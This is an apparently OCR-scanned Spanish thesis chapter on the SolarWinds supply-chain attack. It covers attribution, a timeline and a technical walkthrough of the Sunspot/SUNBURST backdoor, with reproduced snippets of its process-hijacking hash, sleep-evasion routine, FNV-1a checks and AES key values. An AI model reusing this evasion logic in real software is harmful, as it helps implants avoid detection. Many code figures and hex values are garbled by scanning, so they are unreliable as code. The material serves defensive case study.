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1. INTRODUCCION

Hoy en dia la ciberseguridad es una de las caracteristicas mds importantes en cualquier tipo de
organizacién ya sea de ambito empresarial, gubernamental o incluso personal. Definamos el término como
la caracteristica de cualquier sistema que indica si se esta libre de todo peligro, dafio o riesgo, y que es en

cierta manera fiable, es decir, que el sistema se comporte tal y como se espera de él.
La ciberseguridad se puede dividir en categorias donde pueda implementarse, principalmente estas son:

e Proteger la infraestructura de una red
e Proteger las aplicaciones que pueda ejecutar cualquier dispositivo, asi como los datos que fluyan a
través de ellas mediante procedimientos y permisos.

e Recuperacion ante desastres y continuidad del servicio.

Existen tres pilares fundamentales que nos sirven para reconocer si un sistema es seguro o de lo contrario

estd expuesto a posibles amenazas o ataques, encontramos:

e Confidencialidad: s6lo elementos autorizados pueden tener acceso al sistema o a los elementos de
éste.

e Integridad: sélo los elementos autorizados pueden modificar, inyectar o eliminar elementos en el
sistema.

e Disponibilidad: |os elementos del sistema sdlo deben estar disponibles para ser utilizados por los

elementos que estén autorizados para su uso.

En los ultimos afios, la mayoria de las empresas y servicios prestados se han digitalizado por completo y,
aunque se ha avanzado mucho, todavia expone a la organizacién a mayores riesgos de ataque. Cerca de
700.000 ciberataques se registran en todo el mundo todos los dias. Podemos mapearlos en tiempo real

gracias a herramientas como “FIREEYE CYBER THREAT MAP” encargadas de realizar dicha tarea.

Dicho esto, introduzcamos el término “ciberataque”. Para comenzar definiremos que es una amenaza, es
cualquier circunstancia o evento que potencialmente puede causar un dafio a una organizacidn mediante la
exposicidén, modificacion, destrucciéon o denegacion de acceso a una informacidn. Por lo tanto, un ataque
serd poner en practica una amenaza aprovechando las vulnerabilidades de un sistema o red, siendo una

vulnerabilidad un punto débil en una red o sistema.

Veamos los tipos de amenazas que pueden darse en un sistema:
e Interrupcion: cuando un elemento no autorizado es capaz de eliminar o interrumpir un mensaje.
e Interceptacion: cuando un elemento no autorizado tiene acceso a un recurso o sistema.
e Moadificacion: cuando un elemento no autorizado es capaz de captar el mensaje, modificarlo e
introducirlo de nuevo.

e Generacion: cuando un elemento no autorizado es capaz de crear un nuevo recurso e introducirlo.
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A continuacidn, veamos los tipos de ataques que puede sufrir un sistema:

e Ataque Pasivo: el atacante no altera la comunicacion, tan solo escucha o monitoriza para obtener

informacién que esta siendo transmitida.

e Ataque Activo: el atacante realiza algun tipo de modificacién del flujo de datos transmitido o crea

un falso flujo de datos. Este tipo de ataques pueden ser mediante:

O

O

Suplantacion de identidad: el atacante se hace pasar por una entidad diferente.

Réplica: uno o varios mensajes son capturados y repetidos para producir un efecto no
deseado.

Alteracion: uno o varios mensajes sufren una modificacion de contenido o de llegada para
producir un efecto no autorizado.

Denegacion de servicio: inhibe el uso de normas o la gestidén de recursos en un sistema.

Finalmente, evaluemos el tipo de atacante, en otras palabras, el individuo o grupo de atacantes que intenta

explotar estas vulnerabilidades con fines de lucro. Encontramos:

e Aficionados: generalmente atacantes con poca o ninguna habilidad que utilizan herramientas o

técnicas de internet.

e Atacantes Organizados: incluyen organizaciones de delincuentes cibernéticos (buscan

recompensas), hacktivistas (defienden ideologias), terroristas (atacan para hacer dano) y hackers

patrocinados por el estado (inteligencia).

e Hackers: se introducen en equipos o redes con distintos fines. Se clasifican segln sus intenciones:

O

O

O

Sombrero Blanco: utilizan sus habilidades para fines éticos y legales. Normalmente se
encargan de descubrir vulnerabilidades e informar de ellas.

Sombrero Negro: aprovechan las vulnerabilidades para obtener una ganancia ilegal,
financiera o politica.

Sombrero Gris: cometen delitos poco éticos, pero no para beneficio propio. Son capaces de
poner en riesgo una red sin autorizacidn y luego divulgar la vulnerabilidad que ha

aprovechado.
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2. OBIJETIVOS

El objetivo fundamental de la realizacién de este trabajo es ilustrar y examinar los principales ciberataques
qgue han ocurrido en los ultimos diez afios, cdmo se llevaron a cabo, qué organizaciones se vieron afectadas,
cudles fueron las consecuencias de los ataques, cdmo se resolvieron y qué métodos se han implementado

para evitar nuevos ataques similares.

Los ciberataques que vamos a ver a continuacién son los siguientes:

e CAPITULO 1. Ciberataque al proveedor informatico SolarWinds (2020)
e CAPITULO 2. Ciberataque por parte de la compafiia de analisis de datos Cambridge Analytica (2016)
e CAPITULO 3. Ciberataque a la empresa Sony en servicios de videojuegos (2011)

Los mencionados objetivos que vamos a aplicar sobre cada capitulo los podemos detallar de la siguiente

manera:

e Analizar en profundidad el tipo de ciberataque que se ha llevado a cabo, su autoria y motivacidn.
e Declarar la evolucién de los sucesos mas importantes en el tiempo junto a sus afectados.
e Indagar en el método de la ejecucion del ataque, asi como vectores de ataque o algoritmos.

e Instruir y considerar distintos métodos para evitar ataques por el mismo método.

Es preciso enfatizar que el objetivo no es impartir un tutorial sobre cémo llevar a cabo un ciberataque de

los tipos que vamos a ver, sino como un caso de estudio.
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3. CAPITULO 1. SOLARWINDS ATTACK

3.1. ANALISIS

SolarWinds INC es una empresa estadounidense responsable de desarrollar software de gestién de
infraestructura de Tl potente y asequible para cualquier tipo de empresa, es decir, es responsable de

administrar su red, sistema e infraestructura de TI.

Su producto estrella es el desarrollo del “Software Orion” usado por la mayoria de las empresas que
integran la lista del “Fortune 500" y por organizaciones gubernamentales de EEUU como la NASA, fuerzas

aéreas o el mismo Pentagono. !

La amenaza a su producto estrella se anuncio el 13 de diciembre de 2020, gracias a la empresa de
ciberseguridad FireEye, aunque estudiando la amenaza se descubrié que en el mes de marzo de 2020 ya se
habria introducido una puerta trasera comprometiendo la herramienta y la infraestructura de las empresas
cliente. Esta puerta trasera definida como una vulnerabilidad se define como “Sunburst” la cual permite al
atacante la posibilidad de acceder a la cadena de suministro pudiendo comprometer la seguridad de

terceros, es decir, la capacidad de poder infiltrarse en compaiiias clientes de este software.

Después de una reunidn y una investigacion preliminar sobre el ataque, Microsoft (una empresa que usa el
software en si) declard «los atacantes adquirieron acceso de superusuario a los certificados de firma de
tokens SAML. Este certificado SAML se usé luego para falsificar nuevos tokens para permitir a los atacantes

un acceso confiable y con privilegios elevados a las redes». ?

SolarWinds manifesté que «tan solo 18.000 de sus 33.000 clientes habian sido afectados» 1, entre los
clientes mas relevantes de la lista no solo se encuentran empresas con sede en EEUU como Microsoft,
FireEye, la Administracion Nacional de Telecomunicaciones de EEUU o el Departamento de Seguridad
Nacional de EEUU sino también habria afectado a grandes empresas u organizaciones internacionales
como son la OTAN, el Parlamento Europeo, CISCO, NVIDIA, Sedes Gubernamentales del Reino Unido asi

como la mismisima empresa AstraZeneca.

Centrémonos ahora en una pregunta de vital importancia, éPor qué el ataque a una empresa tan oculta y

desconocida mundialmente ha demostrado la gran falla de ciberseguridad?

El presidente de Microsoft respondié claramente a esta pregunta con la siguiente respuesta «SolarWinds
Orion es uno de los productos de software mds omnipresentes que existen, muy poco conocido, pero para

miles de departamentos de informdtica de todo el mundo es indispensable». 1

Y como hemos dicho anteriormente, el ataque utilizé vulnerabilidades de seguridad para atacar a muchas
empresas conocidas como la liderada por Brad Smith pudiendo acceder a su cédigo fuente y producir una

serie de ataques en cadena puesto que, a su vez, Microsoft, desarrolla software para millones de usuarios.
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3.2. ATRIBUCION

La propia empresa SolarWinds asegurd en su web que «se nos ha informado de que la naturaleza de este

ataque indica que puede haber sido llevado a cabo por un estado nacién exterior». 2

Dias después del ataque, Mike Pompeo, actual secretario de estado de EEUU dijo publicamente «podemos
decir que estd bastante claro que los rusos estdn relacionados con esta actividad» 3! . Se sefiala
directamente que la responsabilidad del ataque recae en agencias de inteligencia altamente especializadas
de origen ruso, especialmente su responsabilidad se atribuye al Cozy Bear Group (también conocido como
APT29).

El equipo estad formado por un grupo de piratas informaticos rusos que se cree estan relacionados con la
Organizacion de Inteligencia de Rusia (SVR) y / o el propio Servicio de Seguridad Federal (FSB). Este grupo
es conocido por utilizar técnicas de phishing dirigidas. Entre sus victimas preferidas, podemos encontrar

organizaciones del sector militar, farmacéutico, financiero, tecnolégico e incluso organizaciones criminales.

Después de estudiar el ataque, resultd ser un atague complejo. Después de una investigacién cuidadosa y
una preparaciéon completa, se ha convertido en una de las mayores vulnerabilidades de seguridad en los
ultimos anos. No discutiremos esta complejidad por el momento, pero adelantaremos que como
herramientas principales usaron troyanos y malwares tan preparados que hasta permitieron ser firmados

con el sello oficial de la empresa.

El propdsito del ataque aun es incierto. No se sabe que victimas estaban en el punto de miray que querian
conseguir, medios estipularon que tan solo era un ataque claro al gobierno e instituciones de EEUU, a su
confianza y confiabilidad. Sin embargo, otros medios garantizan que se tratd de una operacién de
ciberespionaje dado que los atacantes tuvieron la posibilidad de registrar y saber todo acerca de las

empresas que usaban el Software.

Unas semanas mas tarde, Kaspersky, lider mundial en el campo de la seguridad de redes, comenzé a
desempefiar un papel en el analisis de las herramientas utilizadas en el ataque SolarWinds. La compaiiia
lanzé una prueba de similitud técnica entre el malware utilizado en el ataque y otro conocido grupo de
hackers, Turla (también de Rusia). No especifica su autoria completa, pero afirma que esta organizacion

habria podido “inspirar” o ayudar a la que antes mencionabamos.

Estas similitudes se encontraron en una puerta trasera llamada SunBurst y un malware llamado Kazuar de
la organizacion Turla. Otra similitud es que ambos usan técnicas de cifrado muy similares en su cddigo,

especialmente un algoritmo hash de 64 bits lamado FNV-1a y operaciones XOR para cambiar sus datos.
Dmitri Alperovitch, cofundador y ex director de tecnologia de la firma de seguridad CrowdStrike aseguré

que «Estas evidencias estdn confirmando la atribucidn a al menos la inteligencia rusa» ® sin llegar a

especificar una autoria final.
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3.3. TIMELINE

A continuacidn veremos los momentos mas importantes que han ocurrido durante el ataque a ‘Solarwinds’

ordenados cronoldgicamente. [

En este paso los La empresa FireEye Aparece el informe de Se revelan todas las
atacantes se encargan de detecta el ataque sufride distintas compaiias para arganizaciones afectadas
la introduccidn del arma y al software SolarWinds hacer piblico el atagque e y estas dan testimonio

SU gjecucidn informar de lo sucedido

ntrusioniEjecucion B8 Deteccion W S hace Piblico 8 Revelacion |

S md Respuestade Usuarios B o Solarwinds Declara

Comienzan a propagarse Se identifican los posibles La propia empresa explica
parches de actualizacidn y clientes afectados y se gue ha sucedido, cuales
correcciones de vital comienzan a realizar son sus productos
importancia para actualizaciones gue afectados v gué deben
solucionar el atagque mitiguen el fallo hacer los clientes

Figura 01. SolarWinds Attack Timeline

Intrusidn/Ejecucion La amenaza accede a SolarWinds

= 4 de Septiembre de 2019 se observo actividad sospechosa en el sistema SolarWinds. Recordemos que
el ataque comenzé a mostrar evidencias en Diciembre de 2020, esto es descubierto tras la

investigacion llevada a cabo.

= 12 de Septiembre de 2019 se lleva a cabo la intrusion del arma en el software a través del malware

“Sunburst” eludiendo ser detectado por sus sistemas de seguridad.

= 20 de Febrero de 2020 observemos que han transcurrido varios meses, durante este tiempo el
malware estaba en los sistemas de SolarWinds “dormido” y pasando desapercibido. Se lleva a cabo la

activacion del arma mediante compilacion de cédigo.

= 4 de Junio de 2020 Los atacantes eliminaron el malware de la plataforma, todo lo cual pasé
desapercibido, pero ¢Qué estuvieron haciendo durante estos meses? Investigar posibles

vulnerabilidades en el sistema e instalar la puerta trasera.
Deteccion.
= 8 de Diciembre de 2020 un empleado de la empresa de ciberseguridad FireEye alerta de que estaba
pasando algo que no parecia bueno. Segun el CEO de FireEye «todo el mundo que trabaja desde casa,

tiene autenticacion de dos factores. Aparece un cédigo en nuestro teléfono. Tenemos que teclear ese

cdédigo. Y entonces podemos iniciar la sesion. Un empleado de FireEye estaba iniciando sesion, pero la
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diferencia fue que nuestro personal de sequridad mird el inicio de sesion y nos dimos cuenta de que
esa persona tenia dos teléfonos registrados a su nombre. Asi que nuestro empleado de seguridad

llamé a esa persona y le prequntaron si habia registrado un sequndo dispositivo en su red» 18,

= 11 de Diciembre de 2020 tras detectar el ataque anterior, la propia empresa FireEye detecta que el
software de SolarWinds habia sido atacado corrompiendo y armando las actualizaciones de la

plataforma Orion como antes mencionabamos.

= 12 de Diciembre de 2020 la empresa FireEye informa a SolarWinds del ataque a su plataforma. Tras

esto la noticia se lleva al consejo de seguridad nacional (NSC) de EEUU.

Se Hace Publico.

= 13 de Diciembre de 2020 Se emiten exigencias por parte de la agencia de ciberseguridad y seguridad
de infraestructura CISA para que se inhabiliten las conexiones de SolarWinds Orion. SolarWinds emite
un breve resumen de lo que ha ocurrido y qué pueden hacer sus clientes para protegerse, a esto se le
suma la empresa Microsoft que emite instrucciones acerca de cdmo el ataque podria afectar a sus

clientes.

Respuesta de sus clientes

= 15 de Diciembre de 2020 Los medios identifican a todas las posibles victimas que habrian formado
parte de este ataque. Se exige a CISA y al FBI que investiguen todo lo posible acerca del ataque. Este

mismo dia SolarWinds lanza una correccidon de software.

SolarWinds se pronuncia

= 16 de Diciembre de 2020 SolarWinds aclara detalladamente todos los productos que se habian visto
afectados durante el ataque. Tomaron varias precauciones, como instruir a sus socios para que
revoquen los certificados digitales de las herramientas afectadas y emitir nuevos certificados a todos

los clientes.

Revelacion de Organizaciones afectadas

= 16 de Diciembre de 2020 La empresa Microsoft detecta los archivos que habian sido infectados en
sus sistemas y los neutraliza, tras ello informa de esto y ayuda a otras compaiiias a hacer lo mismo. Se
pronuncia el entonces presidente electo de los EEUU Joe Biden priorizando las amenazas a la

ciberseguridad en su programa.

= 19 de Diciembre de 2020 Los analistas y los medios informaron que mas de 200 organizaciones se han

visto afectadas, pero aun no se ha publicado una lista de todas las organizaciones.

= 22 de Diciembre de 2020 El Departamento del Tesoro de los EEUU revela que durante el ataque se

habian comprometido numerosas cuentas de correo electrénico de funcionarios de gran importancia.
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Actualizaciones

= 24 de Diciembre de 2020 SolarWinds desarrolla profundamente parches y correcciones de seguridad

y explica cdmo funcionan para erradicar el malware SunBurst.

= 30 de Diciembre de 2020 CISA publica como habia sido atacada la plataforma SolarWinds y asesora a
todas las empresas afectadas para actualizar a la version “2020.2.1HF2” que ha sido verificada y

salvada del malware.

= 5deEnero de 2021 La empresa SentinelOne lanza una herramienta “openSource” capaz de detectar
el malware SunBurst.

= 6deEnerode 2021 Como resultado de la investigacién, SolarWinds esta obteniendo informacién mas
detallada sobre el ataque y prometio fortalecer el nivel de seguridad de la red de su empresa, para lo
cual comenzd a contratar destacados expertos en seguridad.

= 11 de Enero de 2021 Crowdstrike publica un analisis técnico de una herramienta llamada “Sunspot”

gue los hackers distribuyeron durante la compilacién del arma intrusiva para crear la puerta trasera.

Para finalizar este punto mostraremos el mapa de afectados a nivel mundial diferenciandolo segun los
paises que mas riesgo habrian sufrido. Dicha imagen que veremos a continuacidn es creada por la empresa
Microsoft tras la investigacidn llevada a cabo por la Agencia de Ciberseguridad y Seguridad de
infraestructura (CISA).

Figura 02. Prevalencia Global de SunBurst 3!
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3.4. IMPLEMENTACION

En esta seccion, profundizaremos en cdmo realizar técnicamente el ciberataque y explicaremos todos los
conceptos tedricos necesarios para comprenderlo. Como hemos comentado anteriormente, el ataque se
produce mediante el uso de técnicas como inyeccion de cddigo, malware, troyanos, algoritmos, etc. Cada

uno de estos términos hacen una cosa diferente pero necesaria para llevar a cabo el ataque a Solarwinds.

Para el estudio seguiremos el orden cronolégico que mostramos en el punto anterior indicando cémo se

llevd a cabo cada parte del ataque.

3.4.1. Puerta trasera

El concepto de “Puerta Trasera” en ciberseguridad es una secuencia especial en el codigo de programacion
con el cual se pueden evadir los sistemas de seguridad y acceder sin autentificarse al sistema, en otras
palabras, es un agujero de seguridad que permite al atacante acceder a un sistema sin ser detectado y con

ciertos privilegios.

Una puerta trasera no tiene por qué ser creada con un fin maligno, aunque normalmente se usan para ello,
el uso mds comun reside en introducir puertas traseras en softwares para una vez que los clientes hayan
instalado dicha aplicacion poder entrar a su sistema y realizar diferentes traseras como la instalacion de

malware, troyanos o robo de datos.

El ataque del que desarrollamos este capitulo en concreto introdujo la puerta trasera en el software a

través de inyeccion de cédigo, “troyanizar’ los documentos e introducir el malware SunBurst.

Especificamente, los atacantes utilizaron la inyeccion de cédigo para llevar a cabo el ataque e introducir la
herramienta Sunspot, explicaron los investigadores de Crowdstrike. «Sunspot monitorea los procesos en
ejecucion para aquellos involucrados en la compilacion del producto Orion y remplaza uno de los archivos
fuente para incluir el cédigo de puerta trasera» 8. Los investigadores estan rastreando la intrusion con el

pseuddnimo “StellarParticle” .
Realicemos el analisis técnico de como se ha llevado a cabo. Lo primero que tiene que hacer la herramienta
StellarParticle es ser inicializada, tras ejecutarse crea un archivo de registro cifrado RC4 utilizando una

clave codificada.

Durante su ejecucidn, la herramienta, registrara errores en este archivo, asi como informacién de

implementacion. También modificara el token de seguridad para poder conceder privilegios de depuracién.
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A continuacidn, tienen que construirse los pasos de secuestro, para ello se utilizaron algoritmos hash
denominado ElfHash el cual funciona de la siguiente manera, cuando el algoritmo se encuentra un proceso
genera un hilo para determinar si Orion se estd programando, en caso de que sea asi aprovechara e

inyectard el codigo de la puerta trasera junto el malware SunBurst.

def elf hash(nams) :
# Test input: b'msbuild.exe

#

v = (o + (h << £))
msbh = v & O0xFO000D0OO
if msb !'= 0:

v = (msbh > 24)
h = ~msb & w

return h

Figura 03. Hashing Logic: ElfHash 2%

El algoritmo estd formado principalmente por un bucle for, el cual es el encargado de encontrar los
procesos para secuestrarlos, el siguiente bucle if se considera un “bucle de supervision” el cual se ejecuta
cada segundo lo que permite a la herramienta modificar el cddigo fuente antes de que el compilador lo
haya leido.

Una vez se haya realizado el secuestro la herramienta tendrd que interpretar las lineas de comando. Para
ello la herramienta introduce un malware “MsBuild.exe” el cual cuando es llamado permite que se obtenga
un puntero al bloque de entorno de procesos que va registrando todos los procesos ejecutados. Tras ello se
extraen argumentos y rutas de acceso del directorio que contenga la informacidn. Estos valores estan

cifrados mediante AES128-CBC cuya clave y vector de inicializacion (1V) (pese a no ser Unicos) son los

siguientes:
w2y = FC F2 2h B3 ES F& DO 24 ke BF CE 88 30 c2 48 ET7
iw = B1 BC BL5 4% BS 00 0O 78 0B ES £€3 &0 2€ £4 B2 DR

Figura 04. Clave y vector de inicializacién cifrado AES128-CBC 12

Por ultimo, solo queda el reemplazo del cédigo fuente de Orion. Cuando se encuentra la ruta del archivo
anterior, se realizara algun reemplazo del archivo de cédigo fuente. Durante este proceso, se ingresara
todo lo que quiera el atacante. Los atacantes desarrollaron hasta una propia verificacién de hash para
evitar posibles ataques a su arma y evitar posibles errores, en concreto, se utiliza hash MD5 para el cédigo
fuente de puerta trasera el cual es “.5f40b59ee2a9ac94ddb6ab9e3bd776ca”.
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Con esta inyeccion consiguieron introducir la puerta trasera a un archivo DLL de uno de los plugin de
SolarWinds Orion, en concreto el archivo “SolarWinds.Orion.Core.BusinessLayer.dll”, los atacantes
consiguieron obtener la clave privada de la propia empresa, firmarla y emitir un certificado que, en

principio, parecia todo correcto.

En la imagen que se muestra a continuacién, podemos ver claramente cémo el archivo .dll contiene la

firma, y si vemos sus detalles, puede mostrar claramente que es la firma de la propia empresa SolarWinds.

General Digtal Snatires Secuty Detals  Previous Vessions -
General  Advanced

S W =y Digital Signature Information
MName of signer Digest algorthm Timestamp et | Thes digtal signature is OK.
Solarwinds Word..  sha256 Tuesday, March 24, 2

Signer information

Name: [Solarwinds Workdwide, LLC

E-mai; ot avaiabie

Detals .
Segning trme: |Tacsu.ae. March 24, 2020 12:53:43 AM
View Certificate

Countersignatures

Hame of signer: E-mad Address: Timestamp
Symantec SHAZ Mot avaiable Twesday, March 24,

OK Cancel

Figura 05. Firma sobre archivo maligno ¢!

A partir de aqui la empresa habria cometido uno de los mayores errores para permitir este ataque, la
actualizacién con el software malicioso ya se habria entregado a todos los clientes a través de los servidores

oficiales de actualizacién de la empresa.

Los atacantes en la actualizacion habrian introducido el malware SunBurst en todos los sistemas de los

clientes que la hayan llevado a cabo, por ello, sera el siguiente término que describamos.
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3.4.2. Malware SUNBURST

El término “malware” se define como un software o cédigo malicioso que se ha creado con la intencidn de
amenazar y atacar sistemas. Sus caracteristicas principales es que es intrusivo, hostil y desagradable. El
propdsito principal de este término es modificar el comportamiento de un sistema que puede acceder a

todas sus funciones y archivos sin requerir conocimiento o permiso.

La forma en la cual se propagan los malwares es “escondidos” tras enlaces que a primera vista parecen
inofensivos los cuales son contenidos en correos o paginas web, es decir, somos nosotros los que nos
contagiamos, pero sin tener consciencia de ello, es la clave del malware, el cudl puede engaiiar hasta

usuarios muy experimentados.

Los malwares pueden adoptar distintas formas de propagarse y distintas intenciones por las que ha sido

disefiado, de este modo podemos encontrar adware, spyware, virus, gusanos, troyanos o ransomwares.

En concreto, el malware que veremos en detalle a continuacién es una mezcla entre troyano y spyware.

Desde Septiembre de 2019 hasta Febrero de 2020 el malware SunBurst ya habia sido introducido en el

“ADN” de la SolarWinds, pero no se habia llevado a cabo la activacién hasta ahora.

Antes de analizar el cddigo de operacién del malware, echemos un vistazo a lo que realmente deberia
hacer, es decir, cudl es su funcién. El malware debe penetrar en el sistema de la victima y recopilar datos de
forma oculta para que puedan enviarse al servidor C2 al que el atacante puede acceder directamente para

recopilar toda la informacién a intervalos regulares.
En concreto el malware SunBurst estaba formado por una serie de algoritmos en las que destacaremos tres

algoritmos principales el algoritmo de sueio, el algoritmo de Hashing FNV-1a y el algoritmo utilizado para

la generacion de identificadores sobre las victimas.

[25]



Antonio Villafranca Albaladejo

Algoritmo de Sueio.
Es un algoritmo que como indica su nombre se centrar en calcular el tiempo que el malware va a estar sin
actividad, se ha demostrado que el malware envia datos a su servidor C2 cada cierto tiempo, mientras no lo

hace esta “dormido” lo que permite que la actividad en red sea cuasi nula y pase desapercibido.

SunBurst utiliza una férmula para calcular el tiempo de suefio, toma como valores dos marcas temporales

las cuales son de 1000ms y 2000ms, tras ello realiza un bucle de suefio que dard como resultado el tiempo

que debe estar dormido.

private static voild DelayMs{double minMs, double maxMs)

-
L

L P =

if ((intdmaxMs == @)

- {

5 minMs = 1808 .@;

3] maxMs = 2088 _@;

8 aouhle num;

g for (num = minMs + new Random()_NextDouble() #* (maxMs - minMs);
1@ num == 2147483647 _@; num -= 2147483647 .00

12 Thread.5leep(int . MaxValue);

= 7

14 :M"ead.Sleep{{iﬁt}rﬂ.m'};

Figura 06. Algoritmo de Suefio SunBurst (dnSpy) 2#
=  Fila 8: Creacion de la variable “num” de tipo Double que permite almacenar nimeros con coma
flotante, es decir, nimeros que tienen decimales.

=  Fila 9: Bucle for que se utiliza para repetir una accién un determinado nimero de veces. Este bucle
sera el encargado determinar el tiempo que va a estar dormido. En el vemos que aplica la siguiente

féormula:
num = minMs + new Random().NextDouble() * (maxMs - minMs)

new Random().NextDouble() éste método lo que hace es generar un nimero aleatorio de tipo

Double entre los valores 0.0 y 1.0 de la secuencia del generador de nimeros aleatorios.

El valor 2147483647.0ms equivale a 24.85 dias.
= Fila 12: Lanza un Thread.Sleep que se encarga de suspender el subproceso en cuestion para el
numero especificado de milisegundos. Se utiliza un Int32 mediante el uso de Int.MaxValue que

redondea el valor a 24 dias de suefio (2073600000ms).

= Fila 14: Lanza un Thread.Sleep de tiempo entre 12 y 14 dias, es lo que caracteriza, espera un

tiempo determinado de suefio antes de ponerse en contacto con su servidor C2.

[26]



Diagnosis de Ciberataques: Estrategias y Técnicas de Seguridad para una mejor Proteccidn

Pongamos un ejemplo de funcionamiento donde al ejecutarlo veamos cdmo se seleccionan estos tiempos

aleatorios:
& Ep:b;;-: class Sleep Algorithm {
7 = public static wvoid main (String [] args){
11 doukble maxMs;
1 =l dof{
14 minMs = Math.random()*{( - +1)+ Vi
15 maxMs = Math.random{)*(( - +1y+ )
16 - }while (minM=s < Il minM=s > |l maxMs < 1] maxM=s > )
1 System.out.println("Ti o: "4minMs/
System.out.printlin("” : "4maxMs/
21 double num;
22 double dias;
24 = for (int i=_ ; i<= HEE = SR
26 System.out.println("Simulacion "4+i+ "1 ") s
28 for (num = minMs + new Random() .nextDoukle () * (maxMs - minMs) ; num > ; onum —-= }
28 = {
30 System.out.println("El tiempo de susfio es de: "+numt " ms");
31 dias = num / H
32 System.out.println("El tiempo de susfio ez de: "+dias+ " dias");
3 r }
4 B 13

Figura 07. Ejemplo Algoritmo de Suefio

En el algoritmo usado durante el ataque, formaba parte de una clase a la cual se le pasaban dos valores
aleatorios entre 12 dias y 14 dias para proceder a realizar los calculos, para nuestro ejemplo usaremos la
clase “Math.random” para generarlos, como los nimeros debian de estar entre este rango de dias (en el
codigo aparecen en formato de milisegundos) realizo un bucle do/while para que los datos sean correctos.
Tras seleccionar el rango necesario pasamos a realizar la formula del algoritmo real (linea 28). Tras ello se
generara un tiempo de suefo entre el rango anteriormente mencionado, en el algoritmo real se realizarian
los Thread.sleep en funcidén de los datos obtenidos.
Realizamos tres simulaciones para ver como efectivamente se generan tiempos de suefio totalmente
aleatorios.

Tiempo minimo escogido aleatoriamente: 13.45328517034 2 dias

z 7

Tiempo maximo escogido aleatoriamente: 12 _58€€89€2€21 dias

Simulacidn 1:

El tiempo de suefic es de: 1.12501172€70107322E9 ms
El tiempo de suefic es de: 13 _0€72€€045%720%4 dias
Simmlacidn 2:

El tiempo de suefic es de: 1.1214323%205%€70432E9 ms
El tiempo de suefic es de: 12_S79€17140822258 dias
Simmlacidn 3:

El tiempo de suefic es de: 1.1€09€EE€2845142258E9 ms
El tiempo de suefic es de: 13.4371144028725%4€€ dias

Figura 08. Resultado obtenido tras la ejecucion del Algoritmo de Suefio
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Algoritmo Hashing FNV-1a.

Una vez el algoritmo haya “despertado” procedera a ejecutarse, para ello se hace uso de la familia FNV de
los algoritmos hash. Este tipo de hash estan disefiados para ser rapidos con baja tasa de colision y estan

preparados para generacién de grandes bloques de texto *°.. El codigo fundamental del algoritmo FNV-1 es

el siguiente:
hash = offset _kasis
for each {(octeto)
hash = hash * FNV prime
hash = hash XOR octeto

return hash

Figura 09. Nucleo principal del algoritmo FNV-1

Lo primero que tenemos que ver es en qué consisten sus dos pardmetros principales:
= FNV_prime: consiste en un conjunto de variables que depende del tamafio del hash. Son valores
preasignados encargados de afectar a la dispersion del hash y mejora la caracteristica de

retroalimentacion polindmica. Estos valores son:

FHNV3Z_prime
FNVE4_prime
FNV128_prime
FHNV256_prime
FNV512 prime
FNV1024 prime =

Figura 10. Valores FNV_prime

= Offset_basis: al igual que antes son valores que dependen del tamafio del hash. Se trata de

distintas bases de desplazamiento FNV, sus valores preasignados son:

offset32_basis
offsetéd_basis
offsetli8_basis
offset256_basis
offset512 basis

offsetl024 basis =

Figura 11. Valores Offset_basis

A continuacidn, mostraremos el bucle real del algoritmo FNV frente a su variable FNV-1a:
JSREFHV® f
for (bvte b : bytesTotales) {
haszh = hash.multiply(FHV3IZ prime) .mod (FHV3Z mod) ;
hash = hash.xor(Biglnteger.valus0f((int) b & FHV _XOR})):

S *FHNV-1la¥,

for (bvte b : bytesTotales) {
hash = hash.xor(Biglnteger.valus0f((int) b & FHV _XOR})):
haszh = hash.multiply(FHV3IZ prime) .mod (FHV3Z mod) ;

Figura 12. Bucle principal algoritmo FNV (superior) vs algoritmo FNV-1a (inferior)
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La Unica diferencia es el orden en el que se realiza la operacidn légica XOR y la multiplicacién. Los
parametros anteriormente descritos son utilizados por ambas variantes, asi como el tamafio del hash.
Pese a esta pequeiia diferencia, un andnimo informé que «el hash FNV-1 no era tan bueno como el hash
FNV-1a, por sus purezas, porque el octeto final no estd tan disperso. Informo que el hash FNV-1a era mejor

para la deteccion de errores». 13

Pongamos un ejemplo de ejecucién del algoritmo:

puklic static wvoid main({String [] args){

String frase = "I "

byte [] datos = frase. get:ytest}

System.out.println({"El mensaje realizar hash es: "+frase);
byte [] SacarHash = pasoUthdatDs FNV3Z_prime,offset32_basis,FNV3Z_mod) .toByteRhrray();
System.out.println("El hash FHV-la =s5: "+S5acarHash.hashCode());

System.out.println("");
}

public static BigInteger pasoUno(byte[] octetos, BigInteger FNV3Z prime, BigInteger offset32 basis, Biglnteger FNV3Z_mod) {
BigInteger hash = offset32 basis;
for (kvte b : octetos) {
hash = hash.xor (BigInteger.valueOf((int) b & FNV_XCR));
hash = hash.multiply (FNV32Z_ prime) .mod(FNV32Z_mod) ;
}

return hash;
Figura 13. Cédigo ejemplo ejecucién algoritmo FNV-1a

Queremos buscar el hash para “MensajeParaHashing”, tras realizar la ejecucién obtenemos

El mensaje a realizar hash es: MensajeParaHashing
El hash FNV-la es: 4c23d72c

Figura 14. Resultado obtenido tras la ejecucidn algoritmo FNV-1a

En concreto hemos usado un hash de 32 bits por eso el tamanio del offset y del primo han sido los valores
correspondientes al tamaio 32. Posteriormente se afiadié un bucle que permitia cambiar el tamafio del
hash FNV lo que hacia que ahora por ejemplo pudiésemos tener un hash de 16 bits, el bucle consiste en

realizar distintos pliegues a la XOR en funcidn del tamafio seleccionado.

Cuando el algoritmo se ejecuta por primera vez se genera el proceso “solarwinds.businesslayerhots” y se
comprueba si el proceso seleccionado tiene el valor codificado “OxEFF8D627F39A2A9DUL” en caso de que

el valor de ambos hashes no coincida no se ejecutara el cédigo de puerta trasera:

public static void Initialize()
2

try

(OricnImprovementBusinesslLayer.GetHash(Process. GetCurrentProcess().ProcessName.TolLowar()) = @xEFFED627F39AZA9DUL)

I W T
-

-
1

}

[T=]. ]

i
=
o

Figura 15. Inicializacién algoritmo FNV-1a en malware SunBurst 2
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Los hashes son también aprovechados por SunBurst para recorrer las matrices de todos los posibles
procesos que pueda tener la victima y analizar todas las medidas de seguridad de las que dispone.

En concreto SunBurst utiliza el método FNV-1a explicado anteriormente para sacar todos los posibles
hashes que encuentre en su camino, esto lo hace con hash de 32 bits, pero se le afiade un paso que
también habiamos comentado anteriormente, consiste en un paso adicional que realiza una XOR con una
constante codificada de 64 bits “0Ox5BAC903BA7D81967UL" .

private static ulong GetHash{string =)

3 ulong num = BxCBF29CE484222325UL ;
4 try
5 {
3] foreach (byte b in Encoding.UTF&_ GetBytes(s))
8 num 4= (ulong)b;
